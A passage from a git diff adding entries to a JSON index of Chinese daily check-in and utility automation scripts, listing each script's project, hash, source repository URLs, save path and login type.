username/password/login" + }, + { + "category": "web版/账密", + "project": "电信营业厅并发", + "filename": "2025-06-28_电信营业厅任务_f76f6ee3.js", + "sha256": "f76f6ee3a8bc4f393ca489fdde55209b675a907a51397978b0e7f78940f13c33", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "电信营业厅任务.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%94%B5%E4%BF%A1%E8%90%A5%E4%B8%9A%E5%8E%85%E4%BB%BB%E5%8A%A1.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%94%B5%E4%BF%A1%E8%90%A5%E4%B8%9A%E5%8E%85%E4%BB%BB%E5%8A%A1.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/电信营业厅并发/2025-06-28_电信营业厅任务_f76f6ee3.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "电信金豆换话费", + "filename": "2025-06-28_电信金豆换话费_7d539458.py", + "sha256": "7d5394589ec768e19394fab8d9bc08c50942d0c9889f7899e01b59f1ed4651be", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "电信金豆换话费.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%94%B5%E4%BF%A1%E9%87%91%E8%B1%86%E6%8D%A2%E8%AF%9D%E8%B4%B9.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%94%B5%E4%BF%A1%E9%87%91%E8%B1%86%E6%8D%A2%E8%AF%9D%E8%B4%B9.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/电信金豆换话费/2025-06-28_电信金豆换话费_7d539458.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "电影票房排行", + "filename": "2025-08-25_piaofang_acba8c0f.js", + "sha256": "acba8c0f835718cfa25d3cbae77090cd8967c968d9c063417cd1daef66d63b94", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/piaofang.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/piaofang.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/piaofang.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/电影票房排行/2025-08-25_piaofang_acba8c0f.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "番茄免费小说", + "filename": "2025-06-28_番茄免费小说_d04dd54a.js", + "sha256": "d04dd54ac3d612c8d93cd67702e45ea046527666378a80f84f6fd3719a61aabb", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "番茄免费小说.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%95%AA%E8%8C%84%E5%85%8D%E8%B4%B9%E5%B0%8F%E8%AF%B4.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%95%AA%E8%8C%84%E5%85%8D%E8%B4%B9%E5%B0%8F%E8%AF%B4.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/番茄免费小说/2025-06-28_番茄免费小说_d04dd54a.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "百度收录", + "filename": "2025-08-25_bdsl_8027f638.js", + "sha256": "8027f638418862e2edd2099b37eda3b1548595a4b6d5c9b0e2d2ef9381abc1bf", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/bdsl.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/bdsl.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/bdsl.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/百度收录/2025-08-25_bdsl_8027f638.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "百度热搜榜", + "filename": "2025-08-25_bdhot_7149be26.js", + "sha256": "7149be2666f1460b894f3db640cdcaa05a095165f5f9ddad00d73cdcbfa9a569", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/bdhot.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/bdhot.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/bdhot.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/百度热搜榜/2025-08-25_bdhot_7149be26.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "百度贴吧签到", @@ -1231,6 +3247,166 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "看雪论坛", + "filename": "2025-08-25_ql_kanxue_6aeb8664.js", + "sha256": "6aeb8664d796db8962a39556da700ec8d931ed2b7c522c518868882b1c453562", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_kanxue.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_kanxue.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_kanxue.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/看雪论坛/2025-08-25_ql_kanxue_6aeb8664.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "知乎热搜榜", + "filename": "2025-08-25_zhhot_4d73713f.js", + "sha256": "4d73713fa3cfb682bbc6642f902e27ec76e570d9390f82e7d9ef77e8f0dc3c6f", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/zhhot.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/zhhot.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/zhhot.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/知乎热搜榜/2025-08-25_zhhot_4d73713f.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "短网址生成", + "filename": "2025-08-25_dwz_74555928.js", + "sha256": "745559287ad3dfa802c70ea4bc1a4057fa425d4ebf0bbf5ad4198b0fc98f44bc", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/dwz.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/dwz.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/dwz.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/短网址生成/2025-08-25_dwz_74555928.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "硬声", + "filename": "2026-05-14_yingsheng_2e324775.js", + "sha256": "2e3247750a23257df4001154edfad1f6aede0cc2bd147a83b7860ee66ce6f4c5", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/yingsheng.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/yingsheng.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/yingsheng.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/硬声/2026-05-14_yingsheng_2e324775.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "神回复", + "filename": "2025-08-25_shenhuifu_2d02f196.js", + "sha256": "2d02f19653f743dbcc64f895e781ba9cc8e203ec9c9962d5f9573532080d4162", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/shenhuifu.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/shenhuifu.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/shenhuifu.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/神回复/2025-08-25_shenhuifu_2d02f196.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "福田e家", + "filename": "2025-06-28_福田e家_2681de89.js", + "sha256": "2681de8919d0219b356310be12109e6395637b4da3c2e73543a25703a08bccc5", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "福田e家.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%A6%8F%E7%94%B0e%E5%AE%B6.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%A6%8F%E7%94%B0e%E5%AE%B6.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/福田e家/2025-06-28_福田e家_2681de89.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "科研通", + "filename": "2025-08-25_ql_kyt_1d04491e.js", + "sha256": "1d04491e99cc59fecb7f5e32ea08d5cdd425450b69ec6078bca7adf689a7ccb7", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ql_kyt.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ql_kyt.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_kyt.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/科研通/2025-08-25_ql_kyt_1d04491e.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "移动云盘", + "filename": "2025-06-28_移动云盘_4e6ef37b.py", + "sha256": "4e6ef37b7f18f2ba813cddfef30964fd1a284fca7eb0abd17c2b542b7c77a0e8", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "移动云盘.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%A7%BB%E5%8A%A8%E4%BA%91%E7%9B%98.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%A7%BB%E5%8A%A8%E4%BA%91%E7%9B%98.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/移动云盘/2025-06-28_移动云盘_4e6ef37b.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "简繁体转换", + "filename": "2025-08-25_fjzh_246b5fc8.js", + "sha256": "246b5fc8ddc0779d3df32000387900196ac02753fab0e41fbd32a9cd396cc2b4", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/fjzh.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/fjzh.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/fjzh.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/简繁体转换/2025-08-25_fjzh_246b5fc8.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "米游社_原神签到", + "filename": "2025-06-28_米哈游_44eb1b9e.js", + "sha256": "44eb1b9e5b655f07ba8e5cd88554b3fb4ae6b4777689bc7518dc72db3d6c1115", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "米哈游.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%B1%B3%E5%93%88%E6%B8%B8.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%B1%B3%E5%93%88%E6%B8%B8.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/米游社_原神签到/2025-06-28_米哈游_44eb1b9e.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "纪录片之家_,", @@ -1247,6 +3423,198 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "经纬度解析", + "filename": "2025-08-25_lnglat_aa6d5e0b.js", + "sha256": "aa6d5e0be0562ffaf53c20484159ed87396e19b39eae15204105371c24f5426c", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/lnglat.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/lnglat.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/lnglat.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/经纬度解析/2025-08-25_lnglat_aa6d5e0b.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "统一快乐星球茄皇", + "filename": "2026-05-14_qiehuang_678fa340.py", + "sha256": "678fa3406b5408e8ba04725e090ea9f8db8951fb4406c132dd23950af0270e0a", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/qiehuang.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/qiehuang.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/qiehuang.py", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/统一快乐星球茄皇/2026-05-14_qiehuang_678fa340.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "罗技粉丝俱乐部", + "filename": "2025-06-28_罗技粉丝俱乐部_c45cd687.js", + "sha256": "c45cd6870fb5b9d8c3af919d9243a322eaf57226c2cfedab3c421836778af525", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "罗技粉丝俱乐部.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E7%BD%97%E6%8A%80%E7%B2%89%E4%B8%9D%E4%BF%B1%E4%B9%90%E9%83%A8.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E7%BD%97%E6%8A%80%E7%B2%89%E4%B8%9D%E4%BF%B1%E4%B9%90%E9%83%A8.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/罗技粉丝俱乐部/2025-06-28_罗技粉丝俱乐部_c45cd687.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "联想延保签到", + "filename": "2025-06-28_联想延保签到_f8c349cc.py", + "sha256": "f8c349ccab0323222234630bfe4b5c0f1f6fc22d876be5a01880f989a73214c1", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "联想延保签到.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%81%94%E6%83%B3%E5%BB%B6%E4%BF%9D%E7%AD%BE%E5%88%B0.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%81%94%E6%83%B3%E5%BB%B6%E4%BF%9D%E7%AD%BE%E5%88%B0.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/联想延保签到/2025-06-28_联想延保签到_f8c349cc.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "胖乖生活", + "filename": "2025-06-28_胖乖生活_104430b9.py", + "sha256": "104430b94d09cac500764aa552f54b416538a59613dd89ab88c04528b4eab941", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "胖乖生活.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%83%96%E4%B9%96%E7%94%9F%E6%B4%BB.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%83%96%E4%B9%96%E7%94%9F%E6%B4%BB.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/胖乖生活/2025-06-28_胖乖生活_104430b9.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "腾讯视频", + "filename": "2025-06-28_腾讯视频_d184953f.js", + "sha256": "d184953f5b81bc1461b825c27b82d6bc1237c90266dbd0e642b500ff4386c48d", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "腾讯视频.js", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%85%BE%E8%AE%AF%E8%A7%86%E9%A2%91.js", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%85%BE%E8%AE%AF%E8%A7%86%E9%A2%91.js", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/腾讯视频/2025-06-28_腾讯视频_d184953f.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "葫芦侠3楼", + "filename": "2025-08-25_huluxia_6233f109.js", + "sha256": "6233f109c9d3883bbb174dbdb20376c2462cb2aa72e8fba21e67863ce31bc48e", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/huluxia.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/huluxia.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/huluxia.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/葫芦侠3楼/2025-08-25_huluxia_6233f109.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "葫芦侠签到", + "filename": "2025-06-28_葫芦侠签到_e6c5a800.py", + "sha256": "e6c5a800f14ae992bbef0055b24554457ac3ba98d665bfc433d0c7fbf454db54", + "source_platform": "GitHub", + "source_repo": "jdqlscript/toulu", + "source_path": "葫芦侠签到.py", + "source_url": "https://gitee.com/jdqlscript/toulu/blob/main/%E8%91%AB%E8%8A%A6%E4%BE%A0%E7%AD%BE%E5%88%B0.py", + "raw_url": "https://gitee.com/jdqlscript/toulu/raw/main/%E8%91%AB%E8%8A%A6%E4%BE%A0%E7%AD%BE%E5%88%B0.py", + "uploaded_at": "2025-06-28T11:18:42+08:00", + "saved_path": "脚本库/web版/账密/葫芦侠签到/2025-06-28_葫芦侠签到_e6c5a800.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "蔚来签到", + "filename": "2026-05-14_weilai_c95486e9.js", + "sha256": "c95486e99c3ccf5f4c9515ef0f21ce8032913dddbc664f9c2e609072a662bea3", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/weilai.js", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/weilai.js", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/weilai.js", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/蔚来签到/2026-05-14_weilai_c95486e9.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "词霸每日一句", + "filename": "2025-08-25_ciba_43494f7f.js", + "sha256": "43494f7f502aa601908d883fc22f87c8a6f75f3b14c592cb72534a38a7fbac94", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/ciba.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/ciba.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ciba.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/词霸每日一句/2025-08-25_ciba_43494f7f.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "谜语", + "filename": "2025-08-25_miyu_1cb49542.js", + "sha256": "1cb4954271bcbfdd736a94a1c414554b6320dad11c3448ebc3b53a5731818ef8", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/miyu.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/miyu.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/miyu.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/谜语/2025-08-25_miyu_1cb49542.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "趣味笑话", + "filename": "2025-08-25_qwxh_f35da7e8.js", + "sha256": "f35da7e82983c63a20b8f37085b56fafa10679e8806e9ecc8e27f062091976fb", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/qwxh.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/qwxh.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/qwxh.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/趣味笑话/2025-08-25_qwxh_f35da7e8.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, { "category": "web版/账密", "project": "阡陌居_,", @@ -1263,6 +3631,278 @@ "platform_type": "web版", "evidence": "web/H5关键词 + username/password/login" }, + { + "category": "web版/账密", + "project": "阿里云盘签到", + "filename": "2026-05-14_aliyunpan_1c3e68b4.py", + "sha256": "1c3e68b4482e3fec462964a3f1f5984496ca84ac208570d26b82b9a3415fef6a", + "source_platform": "GitHub", + "source_repo": "smallfawn/QLScriptPublic", + "source_path": "daily/aliyunpan.py", + "source_url": "https://github.com/smallfawn/QLScriptPublic/blob/main/daily/aliyunpan.py", + "raw_url": "https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/aliyunpan.py", + "uploaded_at": "2026-05-14T17:47:57+08:00", + "saved_path": "脚本库/web版/账密/阿里云盘签到/2026-05-14_aliyunpan_1c3e68b4.py", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "随机一句一言", + "filename": "2025-08-25_oneyan_7ff4ea80.js", + "sha256": "7ff4ea806378789fd11d80171f9a61788800c54307e023cf968cff8472929df3", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/oneyan.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/oneyan.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/oneyan.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/随机一句一言/2025-08-25_oneyan_7ff4ea80.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "随机二次元图片", + "filename": "2025-08-25_imgecy_ce2ad6d0.js", + "sha256": "ce2ad6d0a270bd71fd92f070d274a7afaa12a0617d2b9dc2e52240732e20e2e7", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/imgecy.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/imgecy.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgecy.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/随机二次元图片/2025-08-25_imgecy_ce2ad6d0.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "随机唯美文案", + "filename": "2025-08-25_weimei_322bf127.js", + "sha256": "322bf127887054856ce60c099935308ba2aa75ac03ff1bf7c856fcceaf88589c", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/weimei.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/weimei.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/weimei.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/随机唯美文案/2025-08-25_weimei_322bf127.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "随机头像", + "filename": "2025-08-25_imgavatar_47fbd943.js", + "sha256": "47fbd9439a3edd59070d78b3d9d233f04e75df4c8c48af743bf07ad5a7337f80", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/imgavatar.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/imgavatar.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgavatar.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/随机头像/2025-08-25_imgavatar_47fbd943.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "随机封面", + "filename": "2025-08-25_imgcover_25d9b368.js", + "sha256": "25d9b368be66b74ab64f0276cad41d08351bc5e1c06989488edaa4670fb72604", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/imgcover.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/imgcover.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgcover.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/随机封面/2025-08-25_imgcover_25d9b368.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "随机手机壁纸", + "filename": "2025-08-25_imgphone_e286c802.js", + "sha256": "e286c802b66b226430153ca436925107ae4d28aaf968f1926f2e0562e3104800", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/imgphone.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/imgphone.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgphone.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/随机手机壁纸/2025-08-25_imgphone_e286c802.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "随机抽签", + "filename": "2025-08-25_chouq_59128372.js", + "sha256": "5912837298993ea2f2fdda3bcf3652ecf33dc61808077c1fd4ac8db922cbfb75", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/chouq.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/chouq.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/chouq.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/随机抽签/2025-08-25_chouq_59128372.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "随机美句摘抄文案", + "filename": "2025-08-25_meiju_a45df7c7.js", + "sha256": "a45df7c780a13a30ab053076558cdfa066918dbf21616450c9931db8eafb348c", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/meiju.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/meiju.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/meiju.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/随机美句摘抄文案/2025-08-25_meiju_a45df7c7.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "随机风景图片", + "filename": "2025-08-25_imglandscape_00e05d6b.js", + "sha256": "00e05d6b9c87f41e4723ed5b516ea40a81c92acf9692f24625b69fa787f8daf3", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/imglandscape.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/imglandscape.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imglandscape.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/随机风景图片/2025-08-25_imglandscape_00e05d6b.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + "project": "骚扰电话查询", + "filename": "2025-08-25_telsaorao_9008abed.js", + "sha256": "9008abed04e177eb1c3706af0e7918741ad74c4d1294d6676e6b0a2ee1b6d137", + "source_platform": "GitHub", + "source_repo": "imoki/sign_script", + "source_path": "polymerization/telsaorao.js", + "source_url": "https://github.com/imoki/sign_script/blob/main/polymerization/telsaorao.js", + "raw_url": "https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/telsaorao.js", + "uploaded_at": "2025-08-25T21:29:14+08:00", + "saved_path": "脚本库/web版/账密/骚扰电话查询/2025-08-25_telsaorao_9008abed.js", + "auth_type": "账密", + "platform_type": "web版", + "evidence": "web/H5关键词 + username/password/login" + }, + { + "category": "web版/账密", + 